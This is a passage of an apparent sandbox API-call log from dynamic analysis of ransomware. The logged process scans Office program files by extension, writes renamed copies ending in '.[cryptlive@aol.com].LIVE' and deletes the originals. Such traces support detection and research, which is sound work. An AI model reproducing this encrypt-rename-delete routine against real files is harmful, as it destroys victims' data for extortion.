[0137.408] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.408] lstrlenW (lpString=".pdf") returned 4 [0137.408] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.408] lstrlenW (lpString=".xls") returned 4 [0137.408] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.408] lstrlenW (lpString=".xlsx") returned 5 [0137.408] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.408] lstrlenW (lpString=".ppt") returned 4 [0137.408] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0137.408] lstrlenW (lpString=".zip") returned 4 [0137.408] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.408] lstrlenW (lpString=".rar") returned 4 [0137.408] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.408] lstrlenW (lpString=".bz2") returned 4 [0137.408] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.408] lstrlenW (lpString=".7z") returned 3 [0137.408] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0137.408] lstrlenW (lpString=".dbf") returned 4 [0137.408] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0137.408] lstrlenW (lpString=".1cd") returned 4 [0137.408] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0137.408] lstrlenW (lpString=".jpg") returned 4 [0137.408] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0137.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0137.408] lstrlenW (lpString=".doc") returned 4 [0137.408] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.408] lstrlenW (lpString=".docx") returned 5 [0137.409] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.409] lstrlenW (lpString=".pdf") returned 4 [0137.409] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.409] lstrlenW (lpString=".xls") returned 4 [0137.409] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.409] lstrlenW (lpString=".xlsx") returned 5 [0137.409] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.409] lstrlenW (lpString=".ppt") returned 4 [0137.409] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0137.409] lstrlenW (lpString=".zip") returned 4 [0137.409] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.409] lstrlenW (lpString=".rar") returned 4 [0137.409] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.409] lstrlenW (lpString=".bz2") returned 4 [0137.409] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.409] lstrlenW (lpString=".7z") returned 3 [0137.409] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0137.409] lstrlenW (lpString=".dbf") returned 4 [0137.409] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0137.409] lstrlenW (lpString=".1cd") returned 4 [0137.409] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0137.409] lstrlenW (lpString=".jpg") returned 4 [0137.409] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.409] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0137.409] lstrlenW (lpString="CAGCAT10.DLL") returned 12 [0137.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0137.410] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15776) returned 1 [0137.410] CloseHandle (hObject=0x380) returned 1 [0137.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll")) returned 0x20 [0137.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0137.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0137.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0137.411] lstrlenW (lpString=".doc") returned 4 [0137.411] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0137.411] lstrlenW (lpString=".docx") returned 5 [0137.411] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0137.411] lstrlenW (lpString=".pdf") returned 4 [0137.411] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0137.411] lstrlenW (lpString=".xls") returned 4 [0137.411] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0137.411] lstrlenW (lpString=".xlsx") returned 5 [0137.411] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0137.411] lstrlenW (lpString=".ppt") returned 4 [0137.411] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0137.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0137.411] lstrlenW (lpString=".zip") returned 4 [0137.411] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0137.411] lstrlenW (lpString=".rar") returned 4 [0137.411] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0137.411] lstrlenW (lpString=".bz2") returned 4 [0137.412] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0137.412] lstrlenW (lpString=".7z") returned 3 [0137.412] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0137.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0137.412] lstrlenW (lpString=".dbf") returned 4 [0137.412] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0137.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0137.412] lstrlenW (lpString=".1cd") returned 4 [0137.412] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0137.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0137.412] lstrlenW (lpString=".jpg") returned 4 [0137.412] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0137.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0137.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0137.412] lstrlenW (lpString=".doc") returned 4 [0137.412] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0137.412] lstrlenW (lpString=".docx") returned 5 [0137.412] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0137.412] lstrlenW (lpString=".pdf") returned 4 [0137.412] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0137.412] lstrlenW (lpString=".xls") returned 4 [0137.412] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0137.412] lstrlenW (lpString=".xlsx") returned 5 [0137.412] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0137.412] lstrlenW (lpString=".ppt") returned 4 [0137.412] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0137.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0137.412] lstrlenW (lpString=".zip") returned 4 [0137.412] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0137.412] lstrlenW (lpString=".rar") returned 4 [0137.412] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0137.412] lstrlenW (lpString=".bz2") returned 4 [0137.412] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0137.412] lstrlenW (lpString=".7z") returned 3 [0137.412] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0137.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0137.413] lstrlenW (lpString=".dbf") returned 4 [0137.413] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0137.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0137.413] lstrlenW (lpString=".1cd") returned 4 [0137.413] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0137.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0137.413] lstrlenW (lpString=".jpg") returned 4 [0137.413] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0137.413] lstrcmpiW (lpString1=".MMW", lpString2=".LIVE") returned 1 [0137.413] lstrlenW (lpString="CAGCAT10.MMW") returned 12 [0137.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0137.413] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=394200) returned 1 [0137.413] CloseHandle (hObject=0x380) returned 1 [0137.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 0x20 [0137.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0137.414] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.414] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0137.546] GetLastError () returned 0x0 [0137.546] ReadFile (in: hFile=0x380, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x603d8, lpOverlapped=0x0) returned 1 [0137.555] WriteFile (in: hFile=0x388, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x603e0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x603e0, lpOverlapped=0x0) returned 1 [0137.564] ReadFile (in: hFile=0x380, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.564] WriteFile (in: hFile=0x388, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.564] SetEndOfFile (hFile=0x388) returned 1 [0137.564] CloseHandle (hObject=0x388) returned 1 [0137.564] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.564] SetEndOfFile (hFile=0x380) returned 1 [0137.595] CloseHandle (hObject=0x380) returned 1 [0137.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 1 [0137.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0137.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0137.596] lstrlenW (lpString=".doc") returned 4 [0137.596] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0137.596] lstrlenW (lpString=".docx") returned 5 [0137.596] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0137.596] lstrlenW (lpString=".pdf") returned 4 [0137.596] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0137.596] lstrlenW (lpString=".xls") returned 4 [0137.596] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0137.596] lstrlenW (lpString=".xlsx") returned 5 [0137.596] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0137.596] lstrlenW (lpString=".ppt") returned 4 [0137.596] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0137.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0137.596] lstrlenW (lpString=".zip") returned 4 [0137.596] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0137.596] lstrlenW (lpString=".rar") returned 4 [0137.596] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0137.596] lstrlenW (lpString=".bz2") returned 4 [0137.596] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0137.596] lstrlenW (lpString=".7z") returned 3 [0137.596] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0137.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0137.596] lstrlenW (lpString=".dbf") returned 4 [0137.596] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0137.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0137.597] lstrlenW (lpString=".1cd") returned 4 [0137.597] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0137.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0137.597] lstrlenW (lpString=".jpg") returned 4 [0137.597] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0137.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0137.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0137.597] lstrlenW (lpString=".doc") returned 4 [0137.597] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0137.597] lstrlenW (lpString=".docx") returned 5 [0137.597] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0137.597] lstrlenW (lpString=".pdf") returned 4 [0137.597] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0137.597] lstrlenW (lpString=".xls") returned 4 [0137.597] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0137.597] lstrlenW (lpString=".xlsx") returned 5 [0137.597] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0137.597] lstrlenW (lpString=".ppt") returned 4 [0137.597] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0137.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0137.597] lstrlenW (lpString=".zip") returned 4 [0137.597] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0137.597] lstrlenW (lpString=".rar") returned 4 [0137.597] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0137.597] lstrlenW (lpString=".bz2") returned 4 [0137.597] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0137.597] lstrlenW (lpString=".7z") returned 3 [0137.597] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0137.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0137.597] lstrlenW (lpString=".dbf") returned 4 [0137.597] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0137.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0137.597] lstrlenW (lpString=".1cd") returned 4 [0137.597] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0137.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0137.598] lstrlenW (lpString=".jpg") returned 4 [0137.598] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0137.598] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0137.598] lstrlenW (lpString="LINES.DLL") returned 9 [0137.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0137.660] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15256) returned 1 [0137.660] CloseHandle (hObject=0x380) returned 1 [0137.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll")) returned 0x20 [0137.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0137.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0137.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0137.807] lstrlenW (lpString=".doc") returned 4 [0137.807] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0137.807] lstrlenW (lpString=".docx") returned 5 [0137.807] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0137.807] lstrlenW (lpString=".pdf") returned 4 [0137.807] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0137.807] lstrlenW (lpString=".xls") returned 4 [0137.807] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0137.807] lstrlenW (lpString=".xlsx") returned 5 [0137.807] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0137.807] lstrlenW (lpString=".ppt") returned 4 [0137.807] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0137.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0137.807] lstrlenW (lpString=".zip") returned 4 [0137.807] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0137.807] lstrlenW (lpString=".rar") returned 4 [0137.807] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0137.807] lstrlenW (lpString=".bz2") returned 4 [0137.807] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0137.807] lstrlenW (lpString=".7z") returned 3 [0137.807] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0137.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0137.807] lstrlenW (lpString=".dbf") returned 4 [0137.807] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0137.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0137.807] lstrlenW (lpString=".1cd") returned 4 [0137.807] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0137.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0137.807] lstrlenW (lpString=".jpg") returned 4 [0137.807] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0137.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0137.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0137.808] lstrlenW (lpString=".doc") returned 4 [0137.808] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0137.808] lstrlenW (lpString=".docx") returned 5 [0137.808] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0137.808] lstrlenW (lpString=".pdf") returned 4 [0137.808] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0137.808] lstrlenW (lpString=".xls") returned 4 [0137.808] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0137.808] lstrlenW (lpString=".xlsx") returned 5 [0137.808] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0137.808] lstrlenW (lpString=".ppt") returned 4 [0137.808] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0137.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0137.808] lstrlenW (lpString=".zip") returned 4 [0137.808] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0137.808] lstrlenW (lpString=".rar") returned 4 [0137.808] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0137.808] lstrlenW (lpString=".bz2") returned 4 [0137.808] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0137.808] lstrlenW (lpString=".7z") returned 3 [0137.808] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0137.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0137.808] lstrlenW (lpString=".dbf") returned 4 [0137.808] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0137.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0137.808] lstrlenW (lpString=".1cd") returned 4 [0137.808] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0137.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0137.808] lstrlenW (lpString=".jpg") returned 4 [0137.808] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0137.808] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0137.809] lstrlenW (lpString="ACCDDSUI.DLL") returned 12 [0137.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0137.809] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=21424) returned 1 [0137.809] CloseHandle (hObject=0x39c) returned 1 [0137.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll")) returned 0x20 [0137.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0137.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0137.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0137.810] lstrlenW (lpString=".doc") returned 4 [0137.810] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0137.810] lstrlenW (lpString=".docx") returned 